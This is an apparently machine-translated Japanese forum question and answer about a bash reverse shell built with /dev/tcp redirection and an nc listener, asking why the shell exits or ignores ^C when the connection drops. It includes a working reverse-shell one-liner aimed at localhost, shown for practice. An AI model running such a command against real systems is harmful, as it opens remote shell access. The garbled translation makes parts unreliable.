Bash
さまざまなリダイレクション演算子を使用してリバースシェルを作成し、スキルを練習してきました。
nc
リスナーを設定した後:
nc -lvp 4444
次のコマンドを実行します。
0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
私が説明できないのは、/bin/sh
接続が切断された後にシェルが終了する理由です。ただし、nc
? を押してシェルの接続を解除する場合にのみ該当します。シェルが切断された場合、シェル^C
に入力するとシェルに改行文字が表示されますか?/bin/sh
^C
/bin/sh
nc
答え1
0<&116-;
エラーを発生させることに加えて、これが何を達成するかはわかりません(fd 116がすでに開いていない限り、この場合は何もしません)。
読者を混乱させますか?
exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
現在のシェルのstdin、stdout、stderrをソケットを介してリスナーにリダイレクトしても、nc
現在の端末はまだ制御端子シェル。
現在の端末の^ Cはaをフォアグラウンドジョブとして送信しますSIGINT
。これは(他のコマンドを待たない場合)シェル自体です。インタラクティブSIGINT
、キャプチャ後、プロンプトをキャプチャして再印刷します。
他の端末(nc -l ..
実行中でシェルが入力を受け取り、出力を印刷する端末)の^ Cは、すべての接続を終了して閉じて、標準入力のためにシェルがnc
終了するようにします。EOF
/bin/sh
同様に、追加料金が何を提供すべきかは不明です。親エントリ(接続が失われた場合)からEOF
stdinまたはSIGPIPE
/stdoutを継承したため、すぐに終了します。EPIPE
nc